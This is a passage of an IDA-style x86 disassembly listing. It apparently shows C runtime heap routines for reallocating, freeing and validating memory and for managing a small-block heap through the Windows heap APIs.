mov [ebp+var_1C], ecx
loc_41C193: ; CODE XREF: sub_41C020+14Cj
; sub_41C020+16Bj
push 0FFFFFFFFh
mov edx, [ebp+var_1C]
mov [ebp+var_30], edx
lea eax, [ebp+var_10]
push eax
call sub_419132
add esp, 8
mov eax, [ebp+var_30]
jmp short loc_41C21C
; ---------------------------------------------------------------------------
loc_41C1AC: ; CODE XREF: sub_41C020+13Aj
mov [ebp+var_4], 0FFFFFFFFh
call sub_41C1BA
jmp short loc_41C1C5
; END OF FUNCTION CHUNK FOR sub_41C020
; =============== S U B R O U T I N E =======================================
sub_41C1BA proc near ; CODE XREF: sub_41C020+193p
; DATA XREF: .data:00434FFCo
push 9
call sub_41BD20
add esp, 4
retn
sub_41C1BA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C020
loc_41C1C5: ; CODE XREF: sub_41C020+198j
cmp [ebp+var_28], 0
jnz short loc_41C1E4
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 10h
mov eax, dword_4DE648
push eax
call dword_4E047C ; RtlReAllocateHeap
mov [ebp+var_1C], eax
loc_41C1E4: ; CODE XREF: sub_41C020+1A9j
jmp short loc_41C219
; ---------------------------------------------------------------------------
loc_41C1E6: ; CODE XREF: sub_41C020+EFj
cmp [ebp+arg_4], 0
jnz short loc_41C1F3
mov [ebp+arg_4], 1
loc_41C1F3: ; CODE XREF: sub_41C020+1CAj
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 10h
mov ecx, dword_4DE648
push ecx
call dword_4E047C ; RtlReAllocateHeap
mov [ebp+var_1C], eax
loc_41C219: ; CODE XREF: sub_41C020:loc_41C103j
; sub_41C020:loc_41C1E4j
mov eax, [ebp+var_1C]
loc_41C21C: ; CODE XREF: sub_41C020+2Bj
; sub_41C020+18Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41C020
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C230 proc near ; CODE XREF: sub_415640+2AFp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0041C403 SIZE 0000020C BYTES
; FUNCTION CHUNK AT 0041C61A SIZE 000000A9 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_435000
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFC8h
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
cmp [ebp+arg_0], 0
jnz short loc_41C270
mov ecx, [ebp+arg_4]
push ecx
call sub_41BE40
add esp, 4
jmp loc_41C6B2
; ---------------------------------------------------------------------------
loc_41C270: ; CODE XREF: sub_41C230+2Dj
cmp [ebp+arg_4], 0
jnz short loc_41C289
mov edx, [ebp+arg_0]
push edx
call sub_41C6D0
add esp, 4
xor eax, eax
jmp loc_41C6B2
; ---------------------------------------------------------------------------
loc_41C289: ; CODE XREF: sub_41C230+44j
cmp dword_4DE64C, 3
jnz loc_41C46F
loc_41C296: ; CODE XREF: sub_41C230:loc_41C46Aj
mov [ebp+var_24], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja loc_41C43C
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_41CAF0
add esp, 4
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz loc_41C3EA
mov ecx, [ebp+arg_4]
cmp ecx, dword_4DE66C
ja loc_41C36A
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_28]
push ecx
call sub_41D9D0
add esp, 0Ch
test eax, eax
jz short loc_41C300
mov edx, [ebp+arg_0]
mov [ebp+var_24], edx
jmp short loc_41C36A
; ---------------------------------------------------------------------------
loc_41C300: ; CODE XREF: sub_41C230+C6j
mov eax, [ebp+arg_4]
push eax
call sub_41D190
add esp, 4
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_41C36A
mov ecx, [ebp+arg_0]
mov edx, [ecx-4]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
cmp eax, [ebp+arg_4]
jnb short loc_41C331
mov ecx, [ebp+var_20]
mov [ebp+var_3C], ecx
jmp short loc_41C337
; ---------------------------------------------------------------------------
loc_41C331: ; CODE XREF: sub_41C230+F7j
mov edx, [ebp+arg_4]
mov [ebp+var_3C], edx
loc_41C337: ; CODE XREF: sub_41C230+FFj
mov eax, [ebp+var_3C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_24]
push edx
call sub_419330
add esp, 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_41CAF0
add esp, 4
mov [ebp+var_28], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_28]
push edx
call sub_41CBB0
add esp, 8
loc_41C36A: ; CODE XREF: sub_41C230+AAj
; sub_41C230+CEj ...
cmp [ebp+var_24], 0
jnz short loc_41C3EA
cmp [ebp+arg_4], 0
jnz short loc_41C37D
mov [ebp+arg_4], 1
loc_41C37D: ; CODE XREF: sub_41C230+144j
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
push 0
mov edx, dword_4DE648
push edx
call dword_4E0478 ; RtlAllocateHeap
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_41C3EA
mov eax, [ebp+arg_0]
mov ecx, [eax-4]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+var_20]
cmp edx, [ebp+arg_4]
jnb short loc_41C3C0
mov eax, [ebp+var_20]
mov [ebp+var_40], eax
jmp short loc_41C3C6
; ---------------------------------------------------------------------------
loc_41C3C0: ; CODE XREF: sub_41C230+186j
mov ecx, [ebp+arg_4]
mov [ebp+var_40], ecx
loc_41C3C6: ; CODE XREF: sub_41C230+18Ej
mov edx, [ebp+var_40]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_419330
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_28]
push eax
call sub_41CBB0
add esp, 8
loc_41C3EA: ; CODE XREF: sub_41C230+9Bj
; sub_41C230+13Ej ...
mov [ebp+var_4], 0FFFFFFFFh
call sub_41C3F8
jmp short loc_41C403
sub_41C230 endp
; =============== S U B R O U T I N E =======================================
sub_41C3F8 proc near ; CODE XREF: sub_41C230+1C1p
push 9
call sub_41BD20
add esp, 4
retn
sub_41C3F8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C230
loc_41C403: ; CODE XREF: sub_41C230+1C6j
cmp [ebp+var_28], 0
jnz short loc_41C43C
cmp [ebp+arg_4], 0
jnz short loc_41C416
mov [ebp+arg_4], 1
loc_41C416: ; CODE XREF: sub_41C230+1DDj
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, dword_4DE648
push ecx
call dword_4E047C ; RtlReAllocateHeap
mov [ebp+var_24], eax
loc_41C43C: ; CODE XREF: sub_41C230+71j
; sub_41C230+1D7j
cmp [ebp+var_24], 0
jnz short loc_41C44B
cmp dword_4DDFE4, 0
jnz short loc_41C453
loc_41C44B: ; CODE XREF: sub_41C230+210j
mov eax, [ebp+var_24]
jmp loc_41C6B2
; ---------------------------------------------------------------------------
loc_41C453: ; CODE XREF: sub_41C230+219j
mov edx, [ebp+arg_4]
push edx
call sub_41BB70
add esp, 4
test eax, eax
jnz short loc_41C46A
xor eax, eax
jmp loc_41C6B2
; ---------------------------------------------------------------------------
loc_41C46A: ; CODE XREF: sub_41C230+231j
jmp loc_41C296
; ---------------------------------------------------------------------------
loc_41C46F: ; CODE XREF: sub_41C230+60j
cmp dword_4DE64C, 2
jnz loc_41C64A
cmp [ebp+arg_4], 0FFFFFFE0h
ja short loc_41C49C
cmp [ebp+arg_4], 0
jbe short loc_41C495
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
jmp short loc_41C49C
; ---------------------------------------------------------------------------
loc_41C495: ; CODE XREF: sub_41C230+256j
mov [ebp+arg_4], 10h
loc_41C49C: ; CODE XREF: sub_41C230+250j
; sub_41C230+263j ...
mov [ebp+var_24], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja loc_41C61A
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 1
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41EB10
add esp, 0Ch
mov [ebp+var_30], eax
cmp [ebp+var_30], 0
jz loc_41C5E7
mov ecx, [ebp+arg_4]
cmp ecx, dword_44726C
jnb loc_41C578
mov edx, [ebp+arg_4]
shr edx, 4
push edx
mov eax, [ebp+var_30]
push eax
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+var_38]
push edx
call sub_41F280
add esp, 10h
test eax, eax
jz short loc_41C515
mov eax, [ebp+arg_0]
mov [ebp+var_24], eax
jmp short loc_41C578
; ---------------------------------------------------------------------------
loc_41C515: ; CODE XREF: sub_41C230+2DBj
mov ecx, [ebp+arg_4]
shr ecx, 4
push ecx
call sub_41EC10
add esp, 4
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_41C578
mov edx, [ebp+var_30]
xor eax, eax
mov al, [edx]
shl eax, 4
mov [ebp+var_34], eax
mov ecx, [ebp+var_34]
cmp ecx, [ebp+arg_4]
jnb short loc_41C54A
mov edx, [ebp+var_34]
mov [ebp+var_44], edx
jmp short loc_41C550
; ---------------------------------------------------------------------------
loc_41C54A: ; CODE XREF: sub_41C230+310j
mov eax, [ebp+arg_4]
mov [ebp+var_44], eax
loc_41C550: ; CODE XREF: sub_41C230+318j
mov ecx, [ebp+var_44]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_24]
push eax
call sub_419330
add esp, 0Ch
mov ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_38]
push eax
call sub_41EBA0
add esp, 0Ch
loc_41C578: ; CODE XREF: sub_41C230+2B8j
; sub_41C230+2E3j ...
cmp [ebp+var_24], 0
jnz short loc_41C5E5
mov ecx, [ebp+arg_4]
push ecx
push 0
mov edx, dword_4DE648
push edx
call dword_4E0478 ; RtlAllocateHeap
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_41C5E5
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
shl ecx, 4
mov [ebp+var_34], ecx
mov edx, [ebp+var_34]
cmp edx, [ebp+arg_4]
jnb short loc_41C5B7
mov eax, [ebp+var_34]
mov [ebp+var_48], eax
jmp short loc_41C5BD
; ---------------------------------------------------------------------------
loc_41C5B7: ; CODE XREF: sub_41C230+37Dj
mov ecx, [ebp+arg_4]
mov [ebp+var_48], ecx
loc_41C5BD: ; CODE XREF: sub_41C230+385j
mov edx, [ebp+var_48]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_419330
add esp, 0Ch
mov edx, [ebp+var_30]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_38]
push ecx
call sub_41EBA0
add esp, 0Ch
loc_41C5E5: ; CODE XREF: sub_41C230+34Cj
; sub_41C230+368j
jmp short loc_41C601
; ---------------------------------------------------------------------------
loc_41C5E7: ; CODE XREF: sub_41C230+2A9j
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, dword_4DE648
push ecx
call dword_4E047C ; RtlReAllocateHeap
mov [ebp+var_24], eax
loc_41C601: ; CODE XREF: sub_41C230:loc_41C5E5j
mov [ebp+var_4], 0FFFFFFFFh
call sub_41C60F
jmp short loc_41C61A
; END OF FUNCTION CHUNK FOR sub_41C230
; =============== S U B R O U T I N E =======================================
sub_41C60F proc near ; CODE XREF: sub_41C230+3D8p
; DATA XREF: .data:00435014o
push 9
call sub_41BD20
add esp, 4
retn
sub_41C60F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C230
loc_41C61A: ; CODE XREF: sub_41C230+277j
; sub_41C230+3DDj
cmp [ebp+var_24], 0
jnz short loc_41C629
cmp dword_4DDFE4, 0
jnz short loc_41C631
loc_41C629: ; CODE XREF: sub_41C230+3EEj
mov eax, [ebp+var_24]
jmp loc_41C6B2
; ---------------------------------------------------------------------------
loc_41C631: ; CODE XREF: sub_41C230+3F7j
mov edx, [ebp+arg_4]
push edx
call sub_41BB70
add esp, 4
test eax, eax
jnz short loc_41C645
xor eax, eax
jmp short loc_41C6B2
; ---------------------------------------------------------------------------
loc_41C645: ; CODE XREF: sub_41C230+40Fj
jmp loc_41C49C
; ---------------------------------------------------------------------------
loc_41C64A: ; CODE XREF: sub_41C230+246j
; sub_41C230:loc_41C6B0j
mov [ebp+var_24], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja short loc_41C688
cmp [ebp+arg_4], 0
jnz short loc_41C664
mov [ebp+arg_4], 1
loc_41C664: ; CODE XREF: sub_41C230+42Bj
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 0
mov eax, dword_4DE648
push eax
call dword_4E047C ; RtlReAllocateHeap
mov [ebp+var_24], eax
loc_41C688: ; CODE XREF: sub_41C230+425j
cmp [ebp+var_24], 0
jnz short loc_41C697
cmp dword_4DDFE4, 0
jnz short loc_41C69C
loc_41C697: ; CODE XREF: sub_41C230+45Cj
mov eax, [ebp+var_24]
jmp short loc_41C6B2
; ---------------------------------------------------------------------------
loc_41C69C: ; CODE XREF: sub_41C230+465j
mov ecx, [ebp+arg_4]
push ecx
call sub_41BB70
add esp, 4
test eax, eax
jnz short loc_41C6B0
xor eax, eax
jmp short loc_41C6B2
; ---------------------------------------------------------------------------
loc_41C6B0: ; CODE XREF: sub_41C230+47Aj
jmp short loc_41C64A
; ---------------------------------------------------------------------------
loc_41C6B2: ; CODE XREF: sub_41C230+3Bj
; sub_41C230+54j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41C230
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C6D0 proc near ; CODE XREF: sub_415CD0+26Ep
; sub_415CD0+3B2p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0041C756 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 0041C7D8 SIZE 0000003E BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_435018
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_41C6FE
jmp loc_41C805
; ---------------------------------------------------------------------------
loc_41C6FE: ; CODE XREF: sub_41C6D0+27j
cmp dword_4DE64C, 3
jnz short loc_41C774
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_41CAF0
add esp, 4
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_41C73D
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1C]
push edx
call sub_41CBB0
add esp, 8
loc_41C73D: ; CODE XREF: sub_41C6D0+5Bj
mov [ebp+var_4], 0FFFFFFFFh
call sub_41C74B
jmp short loc_41C756
sub_41C6D0 endp
; =============== S U B R O U T I N E =======================================
sub_41C74B proc near ; CODE XREF: sub_41C6D0+74p
; DATA XREF: .data:00435020o
push 9
call sub_41BD20
add esp, 4
retn
sub_41C74B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C6D0
loc_41C756: ; CODE XREF: sub_41C6D0+79j
cmp [ebp+var_1C], 0
jnz short loc_41C76F
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, dword_4DE648
push ecx
call dword_4E0480 ; RtlFreeHeap
loc_41C76F: ; CODE XREF: sub_41C6D0+8Aj
jmp loc_41C805
; ---------------------------------------------------------------------------
loc_41C774: ; CODE XREF: sub_41C6D0+35j
cmp dword_4DE64C, 2
jnz short loc_41C7F2
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 1
lea edx, [ebp+var_20]
push edx
lea eax, [ebp+var_28]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41EB10
add esp, 0Ch
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_41C7BF
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+var_28]
push ecx
call sub_41EBA0
add esp, 0Ch
loc_41C7BF: ; CODE XREF: sub_41C6D0+D9j
mov [ebp+var_4], 0FFFFFFFFh
call sub_41C7CD
jmp short loc_41C7D8
; END OF FUNCTION CHUNK FOR sub_41C6D0
; =============== S U B R O U T I N E =======================================
sub_41C7CD proc near ; CODE XREF: sub_41C6D0+F6p
; DATA XREF: .data:0043502Co
push 9
call sub_41BD20
add esp, 4
retn
sub_41C7CD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C6D0
loc_41C7D8: ; CODE XREF: sub_41C6D0+FBj
cmp [ebp+var_24], 0
jnz short loc_41C7F0
mov edx, [ebp+arg_0]
push edx
push 0
mov eax, dword_4DE648
push eax
call dword_4E0480 ; RtlFreeHeap
loc_41C7F0: ; CODE XREF: sub_41C6D0+10Cj
jmp short loc_41C805
; ---------------------------------------------------------------------------
loc_41C7F2: ; CODE XREF: sub_41C6D0+ABj
mov ecx, [ebp+arg_0]
push ecx
push 0
mov edx, dword_4DE648
push edx
call dword_4E0480 ; RtlFreeHeap
loc_41C805: ; CODE XREF: sub_41C6D0+29j
; sub_41C6D0:loc_41C76Fj ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41C6D0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C820 proc near ; CODE XREF: sub_416420+4Ap
; .data:0041C933p
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0041C88D SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0041C8D2 SIZE 00000052 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_435030
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_1C], 0FFFFFFFEh
cmp dword_4DE64C, 3
jnz short loc_41C88F
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
call sub_41E0F0
test eax, eax
jge short loc_41C874
mov [ebp+var_1C], 0FFFFFFFCh
loc_41C874: ; CODE XREF: sub_41C820+4Bj
mov [ebp+var_4], 0FFFFFFFFh
call sub_41C882
jmp short loc_41C88D
sub_41C820 endp
; =============== S U B R O U T I N E =======================================
sub_41C882 proc near ; CODE XREF: sub_41C820+5Bp
; DATA XREF: .data:00435038o
push 9
call sub_41BD20
add esp, 4
retn
sub_41C882 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C820
loc_41C88D: ; CODE XREF: sub_41C820+60j
jmp short loc_41C8D2
; ---------------------------------------------------------------------------
loc_41C88F: ; CODE XREF: sub_41C820+31j
cmp dword_4DE64C, 2
jnz short loc_41C8D2
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 1
call sub_41F3F0
test eax, eax
jge short loc_41C8B9
mov [ebp+var_1C], 0FFFFFFFCh
loc_41C8B9: ; CODE XREF: sub_41C820+90j
mov [ebp+var_4], 0FFFFFFFFh
call sub_41C8C7
jmp short loc_41C8D2
; END OF FUNCTION CHUNK FOR sub_41C820
; =============== S U B R O U T I N E =======================================
sub_41C8C7 proc near ; CODE XREF: sub_41C820+A0p
; DATA XREF: .data:00435044o
push 9
call sub_41BD20
add esp, 4
retn
sub_41C8C7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C820
loc_41C8D2: ; CODE XREF: sub_41C820:loc_41C88Dj
; sub_41C820+76j ...
push 0
push 0
mov eax, dword_4DE648
push eax
call dword_4E0448 ; HeapValidate
test eax, eax
jnz short loc_41C910
call dword_4E0350 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_41C909
call sub_4224E0
mov dword ptr [eax], 78h
call sub_4224D0
mov dword ptr [eax], 28h
jmp short loc_41C910
; ---------------------------------------------------------------------------
loc_41C909: ; CODE XREF: sub_41C820+CFj
mov [ebp+var_1C], 0FFFFFFFCh
loc_41C910: ; CODE XREF: sub_41C820+C4j
; sub_41C820+E7j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41C820
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_41C820
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_4DE64C, 3
jnz short loc_41C953
mov eax, dword_4DE66C
jmp short loc_41C965
; ---------------------------------------------------------------------------
loc_41C953: ; CODE XREF: .data:0041C94Aj
cmp dword_4DE64C, 2
jnz short loc_41C963
mov eax, dword_44726C
jmp short loc_41C965
; ---------------------------------------------------------------------------
loc_41C963: ; CODE XREF: .data:0041C95Aj
xor eax, eax
loc_41C965: ; CODE XREF: .data:0041C951j
; .data:0041C961j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4DE64C, 3
jnz short loc_41C99F
cmp dword ptr [ebp+8], 3F8h
ja short loc_41C998
mov eax, [ebp+8]
mov dword_4DE66C, eax
mov eax, 1
jmp loc_41CA76
; ---------------------------------------------------------------------------
loc_41C998: ; CODE XREF: .data:0041C984j
xor eax, eax
jmp loc_41CA76
; ---------------------------------------------------------------------------
loc_41C99F: ; CODE XREF: .data:0041C97Bj
cmp dword_4DE64C, 2
jnz short loc_41C9D7
mov ecx, [ebp+8]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+8], ecx
cmp dword ptr [ebp+8], 780h
ja short loc_41C9D0
mov edx, [ebp+8]
mov dword_44726C, edx
mov eax, 1
jmp loc_41CA76
; ---------------------------------------------------------------------------
loc_41C9D0: ; CODE XREF: .data:0041C9BBj
xor eax, eax
jmp loc_41CA76
; ---------------------------------------------------------------------------
loc_41C9D7: ; CODE XREF: .data:0041C9A6j
cmp dword_4DE64C, 1
jnz loc_41CA74
cmp dword ptr [ebp+8], 0
jbe loc_41CA74
lea eax, [ebp-4]
push eax
call sub_41F630
add esp, 4
mov ecx, [ebp-4]
and ecx, 0FFh
cmp ecx, 6
jl short loc_41CA3C
cmp dword ptr [ebp+8], 3F8h
ja short loc_41CA3A
mov edx, [ebp+8]
push edx
call sub_41CA80
add esp, 4
test eax, eax
jz short loc_41CA3A
mov eax, [ebp+8]
mov dword_4DE66C, eax
mov dword_4DE64C, 3
mov eax, 1
jmp short loc_41CA76
; ---------------------------------------------------------------------------
loc_41CA3A: ; CODE XREF: .data:0041CA0Fj
; .data:0041CA1Fj
jmp short loc_41CA74
; ---------------------------------------------------------------------------
loc_41CA3C: ; CODE XREF: .data:0041CA06j
mov ecx, [ebp+8]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+8], ecx
cmp dword ptr [ebp+8], 780h
ja short loc_41CA74
call sub_41E750
test eax, eax
jz short loc_41CA74
mov edx, [ebp+8]
mov dword_44726C, edx
mov dword_4DE64C, 2
mov eax, 1
jmp short loc_41CA76
; ---------------------------------------------------------------------------
loc_41CA74: ; CODE XREF: .data:0041C9DEj
; .data:0041C9E8j ...
xor eax, eax
loc_41CA76: ; CODE XREF: .data:0041C993j
; .data:0041C99Aj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA80 proc near ; CODE XREF: .data:0041CA15p
; sub_41F8C0+44p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 140h
push 0
mov eax, dword_4DE648
push eax
call dword_4E0478 ; RtlAllocateHeap
mov dword_4DE668, eax
cmp dword_4DE668, 0
jnz short loc_41CAA8
xor eax, eax
jmp short loc_41CAE0
; ---------------------------------------------------------------------------
loc_41CAA8: ; CODE XREF: sub_41CA80+22j
mov ecx, [ebp+arg_0]
mov dword_4DE66C, ecx
mov edx, dword_4DE668
mov dword_4DE658, edx
mov dword_4DE660, 0
mov dword_4DE664, 0
mov dword_4DE650, 10h
mov eax, 1
loc_41CAE0: ; CODE XREF: sub_41CA80+26j
pop ebp
retn
sub_41CA80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAF0 proc near ; CODE XREF: sub_416900+41p
; sub_41C020+52p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_4DE664
imul eax, 14h
mov ecx, dword_4DE668
add ecx, eax
mov [ebp+var_C], ecx
mov edx, dword_4DE668
mov [ebp+var_8], edx
loc_41CB12: ; CODE XREF: sub_41CAF0+4Dj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_41CB3F
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
sub edx, [ecx+0Ch]
mov [ebp+var_4], edx
cmp [ebp+var_4], 100000h
jnb short loc_41CB34
mov eax, [ebp+var_8]
jmp short loc_41CB41
; ---------------------------------------------------------------------------
loc_41CB34: ; CODE XREF: sub_41CAF0+3Dj
mov eax, [ebp+var_8]
add eax, 14h
mov [ebp+var_8], eax
jmp short loc_41CB12
; ---------------------------------------------------------------------------
loc_41CB3F: ; CODE XREF: sub_41CAF0+28j
xor eax, eax
loc_41CB41: ; CODE XREF: sub_41CAF0+42j
mov esp, ebp
pop ebp
retn
sub_41CAF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB50 proc near ; CODE XREF: sub_416900+5Dp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, 80000000h
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, eax
test edx, edx
jnz short loc_41CBA1
mov eax, [ebp+var_8]
and eax, 0Fh
test eax, eax
jnz short loc_41CBA1
mov ecx, [ebp+var_8]
and ecx, 0FFFh
test ecx, ecx
jz short loc_41CBA1
mov [ebp+var_C], 1
jmp short loc_41CBA8
; ---------------------------------------------------------------------------
loc_41CBA1: ; CODE XREF: sub_41CB50+2Fj
; sub_41CB50+39j ...
mov [ebp+var_C], 0
loc_41CBA8: ; CODE XREF: sub_41CB50+4Fj
mov eax, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_41CB50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CBB0 proc near ; CODE XREF: sub_41C230+132p
; sub_41C230+1B2p ...
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_3C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
sub eax, [edx+0Ch]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
shr ecx, 0Fh
